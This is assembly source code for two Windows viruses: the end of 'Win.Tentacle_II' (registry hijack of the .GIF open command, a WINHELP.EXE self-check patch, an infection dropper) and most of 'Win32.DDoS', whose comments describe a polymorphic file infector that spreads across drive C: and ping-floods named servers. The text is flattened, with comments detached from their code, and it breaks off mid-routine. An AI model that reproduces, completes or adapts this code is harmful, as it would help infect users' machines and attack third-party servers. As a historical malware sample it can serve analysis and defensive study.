bp ; save BP (main data stack frame) sp,size EPO_stack_frame ; create new data buffer on stack bp,sp ; and set BP to it
push mov mov
cx [bp.module_index],ax [bp.API_ordinal],dx
mov mov lea int 21h pop JC xor mov shl xor mov add mov push pop dx pop cx mov int 21h
; save CX (alignemt shift) ; save module index ; save API function ordinal
ah,3Fh ; read entry code segment descriptor cx,8 ; size of a segment descriptor dx,[bp.entry_CS_offset] ; DS:DX=pointer to read buffer cx EPO_failed
; restore CX (alignment shift)
edx,edx ; dx,[bp.entry_CS_offset] ; edx,cl ; eax,eax ; ax,[bp.entry_CS_phys] ; edx,eax ; [bp.entry_CS_relocs],edx;
EDX=0 EDX=segment file offset (aligned) EDX=segment file offset (in bytes) EAX=0 EAX=segment physical size EDX=file offset of segment relocs save it
edx
; CX:DX=EDX
ax,4200h
; go to entry code segment relocations
JC mov mov lea int 21h JC xor JMP
EPO_failed ah,3Fh cx,2 dx,[bp.relocs_number]
; read number of relocation items ; read one word ; DS:DX=pointer to read buffer
EPO_failed ecx,ecx ; ECX=0 check_if_all_relocs_done
search_API_reference_loop: push cx mov mov lea int
ah,3Fh cx,8 dx,[bp.reloc_type] 21h
pop cx JC
EPO_failed
; save CX ; read a relocation item ; size of relocation item ; DS:DX=ptr to read buffer
mov
eax,dword ptr [bp.module_index] ; EAX=module index and ; API ordinal cmp [bp.reloc_what],eax JNE check_next_reloc cmp word ptr [bp.reloc_type],103h ; check relocation type: must ; be 32bit far ptr and API ordinal JE found_API_reference check_next_reloc: inc cx check_if_all_relocs_done: cmp cx,[bp.relocs_number] JNE search_API_reference_loop JMP EPO_failed found_API_reference: mov edx,[bp.entry_CS_relocs] add edx,2 shl ecx,3 ; ECX=ECX*8 (size of a reloc item) add edx,ecx ; EDX=offset of reloc item in file mov eax,dword ptr [bp.module_index]; EAX=module index/API ordinal add pop clc JMP EPO_failed: add pop bp stc
sp,size EPO_stack_frame ; clear buffer from stack bp ; restore old stack frame pointer ; clear carry flag (indicate success) end_EPO
sp,size EPO_stack_frame ; clear buffer from stack ; set carry flag (indicate error)
end_EPO: RET
gif_body: include gif.inc gif_body_size
; the body of the gif file converted ; to DB instructions EQU ($ - offset gif_body)
shell_open_command l_shell_open_command
db "\SHELL\OPEN\COMMAND", 0 EQU ($ - offset shell_open_command)
; ----- PAYLOAD ------------------------------------------------------------payload:
;*
push push
es bp
sub mov
sp,size payload_stack_frame ; reserve room on stack bp,sp ; setup new stack frame
push
ax
; save AX (what to do flag)
push db
dword ptr 1 66h,68h,1,0,0,0
; HKEY_CURRENT_USER ; fixup - byte match
mov mov push lea
word ptr [bp.reg_buffer2],"G."; name of the subkey: ".GIF",0 dword ptr [bp.reg_buffer2+2],"FI" ss ; push a far pointer to the name ax,[bp.reg_buffer2] ; of the subkey
push
; save ES ; save BP (main stack frame pointer)
ax push lea
push
ss ax,[bp.reg_buffer1]
; push a far pointer to the buffer ; that will hold the return string
ax mov push lea push
[bp.size_reg_buffer],40h; ss ; ax,[bp.size_reg_buffer] ; ax ;
size of buffer for return string push a far pointer to the dword that holds the size for the return string
CALL
cs:RegQueryValue
; far call to the RegQueryValue API
or JZ pop JMP
ax,ax RegQueryValue_success ax exit_payload
; zero means success ; clear stack
RegQueryValue_success: cmp byte ptr [bp.reg_buffer1],0; has it returned an empty string? JE try_shell_open_command push pop es lea cld xor mov repne dec push push pop ds mov CALL
ss
; ES=SS
di,[bp.reg_buffer1] al,al cx,0FFFFh scasb di
; ; ; ; ; ;
ds cs
; save DS ; DS=CS
DI=offset retrun string clear direction flag AL=0 CX=maximal word search for the end of the string DI points now to the terminating 0
si,offset shell_open_command decrypt_path ; decrypt & append it to the result ; of the RegQueryValue call
pop CALL or pop JZ
ds call_RegQueryValue ax,ax ax RegQueryValue_success2
; restore DS ; zero means success ; restore AX (entry flag)
try_shell_open_command: mov word ptr [bp.reg_buffer1],"G." mov dword ptr [bp.reg_buffer1+2],"FI" push
ds
; save DS
push pop ds
cs
; DS=CS
push pop es
ss
; ES=SS
mov lea mov CALL pop CALL or pop ax JNZ
si,offset shell_open_command di,[bp.reg_buffer1+4] ; Load effective addr cx,l_shell_open_command ; useless, the decrypt_path procedure ; gets the string length itself. decrypt_path ds ; restore DS call_RegQueryValue ax,ax ; zero means success exit_payload
RegQueryValue_success2: ; reg_buffer2 contains now the commandline of the program that is ; runned whenever the user doubleclics on a .GIF file or JZ push pop es lea push xor mov repne dec mov pop sub mov mov
ax,ax ; check the entry flag in AX restore_gif_commandline ss
; ES=SS
di,[bp.reg_buffer2]
; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;
di al,al cx,0FFFFh scasb di ax,di di ax,di cx,ax al,"%"
cld repne scasb JNZ exit_payload cmp byte ptr [di],"1" JNE exit_payload cmp byte ptr [di-2],'"' JNE dont_skip_quotes dec di dont_skip_quotes: dec di
DI=pointer to commandline connected with .GIF files save DI AL=0 CX=maximal word search for the end of the string DI points now to the terminating 0 AX=end of string restore DI (start of string) AX=length of string CX=length of string search the commandline for where the name of the gif will be on program start clear direction flag search for the % sign if not found, exit payload is it the %1, like it has to be? if not, something is wrong is there the quotes sign?
; if yes, skip it ; go to the start of the first ; parameter in the commandline, the
; name of the .GIF file mov dword ptr [di+9],"G.EL" mov byte ptr [di],"C" mov dword ptr [di+5],7E00FD39h mov dword ptr [di+0Dh],"FI" add dword ptr [di+5],0C5405715h mov dword ptr [di+1],"ET\:" push di CALL call_RegSetValue
; create there the "C:\TENTACLE.GIF" ; string
; save DI (offs of "C:\TENTACLE.GIF") ; set the new value.
; from now on, everytimes the user doubleclicks on a gif file, it ; will only see C:\TENTACLE.GIF ;-) mov mov pop int 21h JC
ah,3Ch cx,7 dx
; ; ; ;
create C:\TENTACLE.GIF file readonly,hidden,system attributes DS:DX=ptr to filename to create ("C:\TENTACLE.GIF")
exit_payload
mov
bx,ax
; handle to BX
mov mov mov
word ptr [bp.reg_buffer2+2],"8F" word ptr [bp.reg_buffer2+0],"IG" word ptr [bp.reg_buffer2+4],"a7"
; create GIF marker in the ; buffer ("GIF87a")
mov mov lea int 21h
ah,40h cx,6 dx,[bp.reg_buffer2]
; write GIF marker ; size of gif marker ; DS:DX=pointer to write buffer
mov mov mov push push pop ds int 21h
ah,40h cx,gif_body_size dx,offset gif_body ds cs
; ; ; ; ;
ds
; restore DS
ah,3Eh
; close file
exit_payload
; payload is done
pop mov int 21h JMP
restore_gif_commandline: push ss pop es lea di,[bp.reg_buffer2] cld push xor mov repne dec mov pop sub add di,ax mov
write gif file body size to write DS:DX=pointer to write buffer save DS DS=CS
; ES=SS
di al,al cx,0FFFFh scasb di ax,di di ax,di
; ; ; ; ; ; ; ; ; ; ;
DI=pointer to commandline connected with .GIF files clear direction flag save DI AL=0 CX=maximal word search for the end of the string DI points now to the terminating 0 AX=end of string restore DI (start of string) AX=length of string
cx,ax
; CX=length of string
mov std repne JNZ add cmp JNE cmp JNE mov mov CALL exit_payload: add pop pop RET
al," "
; ; scasb ; exit_payload ; di,2 ; byte ptr [di],"C" ; exit_payload ; dword ptr [di+1],"ET\:" ; exit_payload byte ptr [di],"%" ; word ptr [di+1],"1" call_RegSetValue ;
push
restore the correct cmdline "%1" set it.
sp,size payload_stack_frame ; free room on stack bp ; restore BP (main stack frame ptr) es ; restore ES
call_RegQueryValue: ;* push dword ptr 1 db 66h,68h,1,0,0,0 push lea
search for the blank set direction flag search for the end of the filename if not found, exit go to 1st param (file to display) is there "C:\TENTACLE.GIF" if not, there's nothing to restore make really sure
; HKEY_CURRENT_USER ; fixup - byte match
ss ax,[bp.reg_buffer1]
; push a far pointer to the name ; of the subkey
ss ax,[bp.reg_buffer2]
; push a far pointer to the buffer ; that will hold the return string
ax push lea
push
ax mov push lea push
[bp.size_reg_buffer],40h; ss ; ax,[bp.size_reg_buffer] ; ax ;
CALL
cs:RegQueryValue
size of buffer for return string push a far pointer to the dword that holds the size for the return string
; far call to the RegQueryValue API
RET
call_RegSetValue: ;* push dword ptr 1 db 66h,68h,1,0,0,0 push lea
ss ax,[bp.reg_buffer1]
; push a far pointer to the name ; of the subkey
push db
dword ptr 0 66h,68h,1,0,0,0
; REG_SZ (ASCIIZ string) ; fixup - byte match
push lea
ss ax,[bp.reg_buffer2]
; push a far pointer to the buffer ; that will hold the return string
push db
dword ptr 0 66h,68h,0,0,0,0
; size of value data ; fixup - byte match
CALL
cs:RegSetValue
; far call to the RegSetValue API
push ;*
ax
push ;*
; HKEY_CURRENT_USER ; fixup - byte match
ax
RET
; ----- PATCH WINHELP ------------------------------------------------------patch_winhelp: cmp JB
;*
;*
word ptr [bp.rw_buffer+1Ch],2 exit_patch_winhelp
; number of segments ; it's not the WINHELP.EXE ; we know, don't patch it
xor mov
eax,eax ax,word ptr [bp.rw_buffer+22h]
add add db
eax,[bp.new_header_offs] eax,8 66h, 83h,0C0h, 08h
; ; ; ; ; ;
EAX=0 offset of segment table (relative to NE header) now relative to file start go to 2nd segment descriptor fixup - byte match
push pop dx pop cx mov int
eax
; CX:DX=EAX
ax,4200h 21h
; set filepointer to the ; descriptor.
mov mov lea int 21h
ah,3Fh cx,2 dx,[bp.tmp_buffer]
; read the aligned segment file offset ; read one word ; DS:DX=pointer to read buffer
xor mov mov shl add db
eax,eax ; EAX=0 ax,word ptr [bp.tmp_buffer] ; EAX=aligned segment file offset cl,byte ptr [bp.rw_buffer+32h] ; CL=alignment shift eax,cl ; EAX=segment file offset in bytes eax,22h ; go to offset 22h in 2nd segment 66h,83h,0C0h,22h ; fixup - byte match
push pop dx pop cx mov int JC
eax
; CX:DX=EAX
ax,4200h 21h exit_patch_winhelp
; set filepointer to offset 22h in ; the second segment
mov mov lea int 21h JC
ah,3Fh cx,2 dx,[bp.tmp_buffer]
; read two bytes of program code ; size to read ; DS:DX=pointer to read buffer
exit_patch_winhelp
cmp JNE
word ptr [bp.tmp_buffer],1474h ; is it a JE $+16h ? exit_patch_winhelp ; if not, it's not the WINHELP.EXE ; we know, don't patch it.
mov
ax,4201h
mov mov int 21h
cx,-1 dx,-2
; set filepointer back to the ; conditional jmp ; CX:DX=-2
mov
byte ptr [bp.tmp_buffer],0EBh
mov
ah,40h
mov lea
cx,1 dx,[bp.tmp_buffer]
; ; ; ;
; a unconditional JMP SHORT
patch the file with the unconditional JMP write one byte DS:DX=pointer to the write buffer
int 21h ; WINHELP.EXE now has no self-check ; any more ;-) exit_patch_winhelp: RET
db
RegQueryValue RegSetValue org_entry
3 dup(0)
dd dd dd
; maybe the author wanted the ; relocation addresses on an address ; divisible by 4 ? 0000FFFFh 0000FFFFh 0000FFFFh
virus_end: ; Most data of the virus is stored in a buffer on the stack. The following ; structure represents the lay-out of this stack frame: stack_frame dta tmp_buffer bytes_to_copy full_filename full_filespec tmp_filename source_handle dest_handle file_date file_time file_size new_header_offs end_of_NE_hdr alignment_unit first_segm_offs new_sect_descr rw_buffer our_reloc_offs module_ordinal new_entry_CS new_entry_IP stack_frame
struc db 2Bh dup(?) db 10 dup(?) dd ? db 24 dup(?) db 24 dup(?) db 16 dup(?) dw ? dw ? dw ? dw ? dd ? dd ? dd ? dd ? dd ? dw 4 dup(?) db 64 dup(?) dw ? dd ? dd ? dw ? dw ? ends
; The data that is used in the EPO engine of the virus uses another stack ; frame that is represented in this structure: EPO_stack_frame entry_CS_offset entry_CS_phys entry_CS_flags entry_CS_virt reloc_type reloc_offs reloc_what module_index API_ordinal entry_CS_relocs relocs_number
struc dw ? dw ? dw ? dw ? dw ? dw ? dd ? dw ? dw ? dd ? dw ?
EPO_stack_frame ends
; Also the payload routine uses its own stack frame: payload_stack_frame struc reg_buffer1 db 40h dup(?) reg_buffer2 db 40h dup(?) size_reg_buffer dd ? payload_stack_frame ends
first_gen_entry: push ds pusha push pop ds
; save DS ; save all registers
ss
; DS=SS
sub mov
sp,size stack_frame bp,sp
; reserve room on stack ; setup stack frame
mov lea int
ah,1Ah dx,[bp.dta] 21h
; set DTA to DS:DX ; Load effective addr
mov call mov call
si, offset exe_wildcard ; encrypt all the strings in the encrypt_wildcard ; virus by a simple inc/dec si, offset scr_wildcard ; algorithm encrypt_wildcard
mov call mov call mov call mov call mov call mov call
si, offset C_win encrypt_path si, offset C_windows encrypt_path si, offset C_win31 encrypt_path si, offset C_win311 encrypt_path si, offset C_win95 encrypt_path si, offset shell_open_command encrypt_path
mov mov mov CALL
bx,0FFFFh cx,offset empty_string dx,offset exe_wildcard infect_directory
mov mov int
ah,9 dx,offset first_gen_message 21h
mov int
ax,4C00h 21h
; infect all EXE files in current dir
first_gen_message db "Win.Tentacle_II virus dropped", 0Dh, 0Ah, "$" end first_gen_entry
; ; *************************************************************************** ; -----------------[ Win32.DDoS by SnakeByte { KryptoCrew } ]---------------; *************************************************************************** ; ; ; ; Please note that it is illegal to spread viruses, so if you compile this ; code, just test it on a closed system and don't place it in the wild ! ; I am not responsible for your actions .. as always ;) ; ; ; ; ; This is the first Windows Virus I've written so far, and some parts are from ; Win32.Aztec by Billy Beleceb, because at the time i wrote this thing, not everything ; was clear in my mind, as it is now, hope I can present you some better things from me ; in the future. ; ; This is also my first polymorphic virus ever ;) so don't expect too much from the ; poly engine. I did not understand much of the code from other poly engines, but ; now, after coding one on my own, I do, so I maybe can code a better one the next time ;) ; ; The first layer is nearly completely polymorphic. I use junk opcodes like mov, add ... ; and try to keep track that they don't look completely useless. ; I also use several ways to decrypt the virus ( xor, neg, not .. ) and ; several methods to do the loop. The size will always be in ECX and ; the start in ESI, but i use several methods to put the values inside ; the registers so there is nothing static. ; The only static thing left is the call to the polymorphic decryptor ;( ; ; ; I was just able to test this thing on a Win95 PC, so I don't know if it will ; work on other systems, but I think it will. Two friends made some tests under ; NT and 2k with a beta, and it worked, so I hope this final version will also do. ; ; ; It tries to get the 4 following API's: ; ; - Kernel32.dll <- the only one we really need to work, the others are for fun ; ; - Imagehlp.dll <- try to create a valid CRC for the PE-Header of infected files ; - Advapi32.dll <- get some data from the registry ; - Winsck32.dll <- Payload : Ping-flood a server ; ; ; ; ; What does this Virus do : ; ; - 1.st Generation infects just the current directory ( easier to infect just some files *eg* ) ; - Get's API's with LoadLibraryA & GetProcAddress ; - Tries to load ImageHlp.dll to create checksums with the CheckSumMappedFile Function ; - Infects the current, the windows and the system directory and parses some ; random directory's on drive C: ; - Follows LNK - Files ( does not work with NT / 2k ) ; - Removes and restores File-Attributes ; - Parses Drive C:, enters a folder with a chance of 1 to 3 ; - Retrieves the Startmenue from registry and parses it ( follows LNK-Files there ) ; - If everything runs well it will infect 100 files all over the disk ; - Generates a polymorph decryptor which will be used for all files infected in one run ; - Uses 2 layers of decryption ( 1st is poly, 2nd is harder to debug / emulate )
; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;
- Does not infect files smaller than 40 kb - Will not infect files with AV, AN or DR in the filename - Payload is a icmp flood on one of these servers : Sunday Monday Tuesday Wednesday Thursday Friday Saturday *# *#
= = = = = = =
www.bundesnachrichtendienst.de French Secret Service ( dgse.citeweb.net ) www.avp.com ( AV ) www.lockdown2000.com www.f-secure.com www.norton.com www.zonelabs.com
Please note that i choose these servers because I think they can handle such an attack, if any idiot would release this into the wild.
#* #*
To make this code working use TASM 5.0 and pewrsec.
Thanks and greetz fly to these people: Billy Beleceb
-
Evul Ciatrix SnakeMan PhilippP BumbleBee diediedie asmodeus darkman
-
Your Win32 VWG is just great .. ( you'll find some of your code [Win32.Aztec] here ;) Thanks for hosting my site at coderz.net Hope you carry on your good work with VDAT ! Hope you get more entrys *g* --> http://altavirus.cjb.net Thanks for the thrilling test in 2k .. ;) Still thinking of Sex ? Thnx for demotivating me... :) nice beginner lesson in poly ;) just believe me: the question was stupid ;)
*************************************************************************** ---------------------------[ Here we start ]------------------------------***************************************************************************
.586p .model flat jumps .radix 16
extrn ExitProcess:PROC extrn MessageBoxA:PROC
; ; ; ; ;
Jumps get calculated ( I know not good for optimizing.. ) All numbers are Hexadecimal I once searched for a forgotten 'h' 2 weeks until I found this bug.. :P
; some API's ; fake host for 1. Generation ; For testing purposes ( no longer needed ) ; but i needed it for error-detection *g* ; 'cause I am too stupid to work with softice.. :(
.data db ?
VirusSize CryptSize NoCrypt FirstLSize Buffersize
; ; ; ; ; ;
equ equ equ equ equ
(offset (offset (offset (offset (offset
FILETIME FT_dwLowDateTime FT_dwHighDateTime FILETIME
fake data for TASM otherwise TASM would not compile this we store all our data in the code section, that's why we need to use pewrsec after compiling, to set the code section flags to write !
; some constants I don't want to calculate on my own *g* VirusEnd - offset Virus ) VirusEnd - offset CryptStart ) CryptStart - offset Virus ) VirusEnd - offset FirstLayerStart ) EndBufferData - offset VirusEnd ) STRUC dd dd ENDS
? ?
.code ; *************************************************************************** ; -------------[ Delta Offset and searching for the Kernel Addy ]-----------; ***************************************************************************
Virus: call PDecrypt
FirstLayerStart:
call Delta Delta: mov ebp, offset Delta neg ebp pop eax add ebp, eax or ebp, ebp jz CryptStart
; Here we go ; call the poly decryption routine ; which is located at the end of virus ; just a simple 'ret' in the first generation ; here starts the first layer ; everything will be crypted from here on ; let's get the delta - offset
; I want to do this a bit different ; than usual, who knows, maybe this ; fools some bad heuristics
; we don't need to decrypt the 1. ; Generation
; save esp mov dword ptr [ebp+XESP], esp
mov ecx, (CryptSize / 2) ; the lenght of crypted part in words mov dx, word ptr [ebp+Key] lea esp, [ebp+CryptStart] ; set esp to the start of the decrypted part DeCryptLoop: pop ax inc dx xchg dl, dh xchg al, ah xor ax, dx not ax push ax add esp, 2h
; ; ; ;
let's decrypt the virus we pop the body word by word this method fucks with debuggers, who trace with int 1h ( destroys stack )
loop DeCryptLoop ; restore esp mov esp, dword ptr [ebp+XESP] jmp CryptStart
; start virus
Key XESP
; our key ; we save the esp here
dw 0h dd 0h
db 4 dup (90h)
; some nop's so we will not jump into a instruction ; ( happened sometimes during testing :( ) ; because of the prefech queue buffer ( or whatever this is
spelled .. ) CryptStart:
mov mov mov mov
; we save these two values ( EIP & Imagebase ) ; to be able to return to the original host.. eax, dword ptr [ebp+OldEIP] dword ptr [ebp+retEIP], eax eax, dword ptr [ebp+OldBase] dword ptr [ebp+retBas], eax
mov eax, dword ptr fs:[0] ; save the original SEH mov dword ptr [ebp+SEH_Save], eax mov esi, [esp] xor si, si
; let's get the return address of the Create Process API ; round it to a full page
push dword ptr [ebp+Error_ExecuteHost] mov fs:[0], esp ; set new SEH call GetKernel jnc GetApis
; try to get it ; If got it we try to retrieve the API's ; ; ; ;
Otherwise, we try to check for the kernel at some fixed addresses But the way above should work most of the times.. :)
mov esi, 0BFF70000h call GetKernel jnc GetApis
; try the Win95 Kernel Addy
mov esi, 077F00000h call GetKernel jnc GetApis
; try the WinNT Kernel Addy
mov esi, 077e00000h call GetKernel jnc GetApis
; try the Win2k Kernel Addy
jmp Error_ExecuteHost
; if we still did not found the ; kernel we stop the virus ; and execute the goat
; *************************************************************************** ; -------------------------[ let's get the API's ]--------------------------; ***************************************************************************
; ; ; ;
These are the 2 API's we search in the Kernel we need them to get all the others API's I prefer LoadLibraryA to GetModuleHandle, because it is no longer nessecairy, that the
; ; ; ; ;
file we infect loads the dll files we need, we load them on our own,... ;) This means, we can use almost any API we want to *eg* LoadLibraryA also returns the Module-Handle, but if it is not loaded it loads it ... bla.. ;P
LL db 'LoadLibraryA', 0h ; we need these API's for searching.. GPA db 'GetProcAddress', 0h GetApis:
; Offset of the Kernel32.dll PE-Header is in EAX
mov [ebp+KernelAddy], eax ; Save it mov [ebp+MZAddy], ebx lea edx, [ebp+LL] ; Points to name of the LoadLibaryA - API mov ecx, 0Ch ; Lenght of Name call SearchAPI1 ; search it.. mov [ebp+XLoadLibraryA], eax ; Save the Addy xchg eax, ecx jecxz ExecuteHost
; If we didn't get this API or the other one, we quit ! ; thnx to Billy ;)
lea edx, [ebp+GPA] ; Points to name of the GetProcAddress - API mov ecx, 0Eh ; Lenght of Name call SearchAPI1 mov [ebp+XGetProcAddress], eax ; Save the Addy xchg eax, ecx jecxz ExecuteHost
jmp GetAPI2
KERNEL32
; check if we failed ; ( thnx again, nice way of optimization *g* ) ; ; ; ; ;
Now we have our and are able to Yes I know this But storing the my code *bg*
2 nessecairy API's get the others jmp is not very optimizing.. ;) data here helps me understanding
; this dll is delivered with every version db 'Kernel32',0 ; of windows, so we will get it always ( ..most likely *g* ) ; the virus relies on it
IMAGEHLP
db 'Imagehlp',0 ; ; ; ;
ADVAPI
db 'advapi32',0 ; this dll is neccessairy to retrieve the startmenue folder ; from registry, so we are able to follow the shortcuts there
WSOCK
db 'wsock32.dll',0 ; we need this one here to perform a ping ; ( not needed for the virus, but the payload )
GetAPI2:
this dll is not nessecairily needed, but dll's will only get infected, if we are able to use the CheckSumMappedFile Function from this dll to create a checksum it is delivered with win9x, NT and several compilers.
; We get them, by grabbing the handles of ; different DLL's first and use GetProcAddress ; to locate the API's itself ; ; ; ; ;
Let's get the Handles by calling the LoadLibrary API.. :) if we fail to get the Kernel32, we execute the original host
lea eax, [ebp+KERNEL32] push eax call dword ptr [ebp+XLoadLibraryA] mov [ebp+K32Handle], eax test eax, eax jz ExecuteHost lea eax, [ebp+IMAGEHLP] push eax call dword ptr [ebp+XLoadLibraryA] mov [ebp+IHLHandle], eax lea eax, [ebp+ADVAPI] push eax call dword ptr [ebp+XLoadLibraryA] mov [ebp+ADVHandle], eax lea eax, [ebp+WSOCK] push eax call dword ptr [ebp+XLoadLibraryA] mov [ebp+W32Handle], eax
lea esi, [ebp+Kernel32Names] lea edi, [ebp+XFindFirstFileA] mov ebx, [ebp+K32Handle] push NumberOfKernel32APIS pop ecx call GetAPI3 lea esi, [ebp+ImageHLPNames] lea edi, [ebp+XCheckSumMappedFile] mov ebx, [ebp+IHLHandle] xor ecx, ecx inc ecx call GetAPI3 lea esi, [ebp+ADVAPI32Names] lea edi, [ebp+XRegOpenKeyExA] mov ebx, [ebp+ADVHandle] push 3d pop ecx call GetAPI3
lea esi, [ebp+WSOCK32Names] lea edi, [ebp+Xsocket] mov ebx, [ebp+W32Handle] push 3d pop ecx call GetAPI3
; *************************************************************************** ; ------------------[ Outbreak ! Here we start infecting ]------------------; *************************************************************************** ; ; ; ; ;
Now we got everything we need to start infecting some files *eg* First of all we retrieve the foldernames of the current folder, the system folder, and the windows folder
; these are the folders we start to infect lea edi, [ebp+curdir] push edi push 7Fh call dword ptr [ebp+XGetCurrentDirectoryA]
call genPoly
; before we infect anything, we ; create a poly decryptor used for ; all files we infect = slow poly !
mov [ebp+InfCounter], 10d ; Number of files we want to infect ! call InfectCurDir ; first of all we infect the current directory or ebp, ebp jz ExecuteHost
; ; ; ;
if this is the first generation, we infect just the first directory ( makes it easier to infect just some files .. *g* we also don't start the payload !
push 7Fh
; buffer - size ; 7fh = 127d = max lenght of Directory name ; Pointer to the offset where we save the directory
lea edi, [ebp+windir] push edi call dword ptr [ebp+XGetWindowsDirectoryA]
lea edi, [ebp+windir] ; then we infect the windows directory push edi call dword ptr [ebp+XSetCurrentDirectoryA] mov [ebp+InfCounter], 10d call InfectCurDir ; we save both directory's in the same buffer push 7Fh ; so we save 127 Bytes of the Buffersize lea edi, [ebp+windir] push edi call dword ptr [ebp+XGetSystemDirectoryA] lea edi, [ebp+windir] ; and the system directory .. push edi call dword ptr [ebp+XSetCurrentDirectoryA] mov [ebp+InfCounter], 10d call InfectCurDir ; ; ; ; ;
if everything went fine, we have infected now up to 30 files ! Is this enough ? ( please note that this is a rhetorical question *g* ) We want more !
; *************************************************************************** ; -----------------------[ Parse Directory's ]------------------------------; *************************************************************************** InitParsing: mov [ebp+InfCounter], 30d ; let's parse some directorys for ; 30 more files ! lea edi, [ebp+RootDir] call dword ptr [ebp+XSetCurrentDirectoryA] call ParseFolder
; if we are not able to access the registry we ; infect another 20 Files in the System-Directory cmp dword ptr [ebp+XRegOpenKeyExA], 0h je InfectWinDirAgain call GetStartMenue ; last but not least, we try to parse the ; start-menue folder ( follow the LNK's ) ; to get 20 more files ; with some luck, we infect 100 files each run ; all over the HD *g* ; I think this can be called successfull spreading *g* lea edi, [ebp+windir] call dword ptr [ebp+XSetCurrentDirectoryA] InfectWinDirAgain: mov [ebp+InfCounter], 20d call ParseFolder ; let's parse the startmenue and follow all ; LNK-Files inside ;) jmp PayLoad
ParseFolder: call InfectCurDir cmp [ebp+InfCounter],0 jbe EndParsing lea esi, [ebp+Folders] Call FindFirstFileProc inc eax jz EndParsing dec eax
; start the evil part of this thingie ..
; infect the current directory ; we infected enough ? ok, leave !
; If there are no directorys we return ; otherwise we save the handle
GetOtherDir: ; first of all we check if this ; is a valid directory mov eax, dword ptr [ebp+WFD_dwFileAttributes] and eax, 10h ; if not we get the next jz NoThisOne ; one lea esi, [ebp+WFD_szFileName] cmp byte ptr [esi], '.' ; we will not parse into . or .. je NoThisOne ; directorys push 03h pop ecx call GetRand dec edx jz ParseNewDir
; if division-rest (edx) = 1 ; we get this directory
NoThisOne: call FindNextFileProc test eax, eax jnz GetOtherDir EndParseDir2:
; we close the search - Handle
mov eax, dword ptr [ebp+FindHandle] push eax call dword ptr [ebp+XFindClose]
EndParsing: ret
; we just return
ParseNewDir:
; we got a direcory, let's change to it ; and infect it.. *eg* mov eax, dword ptr [ebp+FindHandle] push eax call dword ptr [ebp+XFindClose] lea esi, [ebp+WFD_szFileName] push esi call dword ptr [ebp+XSetCurrentDirectoryA]
jmp ParseFolder ; *************************************************************************** ; -----------------[ Let's get the Startmenue folder ]----------------------; ***************************************************************************
GetStartMenue:
; Let's try to open HKEY_USERS registry Key
lea esi, [ebp+RegHandle] push esi push 001F0000h ; complete access push 0h ; reserved lea esi, [ebp+SubKey] push esi push 80000003h ; HKEY_USERS call dword ptr [ebp+XRegOpenKeyExA] test eax, eax jnz NoStartMenue
; if we failed opening the key, we return
; let's get the value lea esi, [ebp+BufferSize] push esi lea esi, [ebp+windir] push esi lea esi, [ebp+ValueType] push esi ; Type of Value push 0 ; reserved lea esi, [ebp+Value] push esi ; ValueName mov eax, [ebp+RegHandle] push eax ; Reg-Key Handle call dword ptr [ebp+XRegQueryValueExA] mov eax, dword ptr [ebp+RegHandle] push eax call dword ptr [ebp+XRegCloseKey] NoStartMenue: ret SubKey Value ValueType BufferSize
db db dd dd
'.Default\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders',0 'Start Menu',0 0h ; Type of registry Value 7Fh ; size of buffer
; *************************************************************************** ; ----------------[ API - Tables and some other data ]----------------------; ***************************************************************************
Folders db '*.',0 RootDir db 'C:\',0
; Misc Data .. ;) ; search for directory's ; we want to start parsing at root of Drive C: ; ; ; ; ; ;
Kernel32Names:
Here follow the tables of the api's we use for our virus, if you want to know what they do exactly simply check the Win32 Programmer's Reference I won't explain them ( I think the names of them makes it clear enough *g* )
; 17d API's we want from Kernel32.dll
NumberOfKernel32APIS equ 17d db db db db db db db db db db db db db db db db db
'FindFirstFileA', 0 'FindNextFileA', 0 'FindClose', 0 'CreateFileA', 0 'SetFileAttributesA', 0 'CloseHandle', 0 'CreateFileMappingA', 0 'MapViewOfFile', 0 'UnmapViewOfFile', 0 'GetWindowsDirectoryA', 0 'GetSystemDirectoryA', 0 'GetCurrentDirectoryA', 0 'SetCurrentDirectoryA', 0 'GetFileAttributesA', 0 'GetTickCount', 0 'CreateThread',0 'GetSystemTime',0
ImageHLPNames: db 'CheckSumMappedFile', 0h ADVAPI32Names: db 'RegOpenKeyExA',0 db 'RegQueryValueExA',0 db 'RegCloseKey',0 WSOCK32Names: db 'socket',0 db 'WSACleanup',0 db 'WSAStartup',0 db 'closesocket',0 db 'sendto',0 db 'setsockopt',0 ; *************************************************************************** ; --------------[ Retrieve API's with GetProcAddress ]----------------------; *************************************************************************** ; ; ; ; GetAPI3: push ecx
esi edi ebx ecx
points to the Table of Names to the offsets contains the module-handle the number of API's
; save ecx
push esi push ebx
; push api-name ; Push Module-Handle ; call GetProcAddress
call dword ptr [ebp+XGetProcAddress] stosd ; store api-offset pop ecx dec ecx jz EndApi3
; did we get them all ?
push ecx
; otherwise move esi to next API-Name
SearchZero: cmp byte ptr [esi], 0h je GotZero inc esi jmp SearchZero GotZero: inc esi pop ecx jmp GetAPI3
; if yes then return
; we search for the end of the current ; api name ( always 0h ) and increase
; get ecx ( counter ) ; retrieve Next API
EndApi3: ret
; *************************************************************************** ; --------------[ Search Kernel Export Table for API's ]--------------------; ***************************************************************************
SearchAPI1:
; In this procedure we search for the first 2 API's ; clear the counter and word ptr [ebp+counter], 0h mov eax, [ebp+KernelAddy] ; Load the PE-Header Offset mov esi, [eax+78h] add esi, [ebp+MZAddy] add esi, 1Ch
; ; ; ;
Get Export Table Address normalize RVA skip not needed data now we gave the Address Table RVA-Offset in esi
lodsd ; Get Address Table RVA add eax, [ebp+MZAddy] ; convert to VA and save it mov dword ptr [ebp+ATableVA], eax lodsd ; Get Name Pointer Table RVA add eax, [ebp+MZAddy] ; make it VA and save it mov dword ptr [ebp+NTableVA], eax lodsd ; Get Ordinal Table RVA add eax, [ebp+MZAddy] ; guess what ? *g* mov dword ptr [ebp+OTableVA], eax mov esi, [ebp+NTableVA]
SearchNextApi1: push esi
; Get the Name Pointer Table Addy in esi
; Save Pointer Table
lodsd add eax, [ebp+MZAddy]
; make it VA
mov esi, eax mov edi, edx push ecx
; API Name in the Kernel Export API ; API we are looking for ; save the size
cld rep cmpsb pop ecx jz FoundApi1
; Clear direction Flag ; Compare it ; Are they equal ?
pop esi ; add esi, 4h ; inc word ptr [ebp+counter] cmp word ptr [ebp+counter], je NotFoundApi1 jmp SearchNextApi1 ; FoundApi1: pop esi
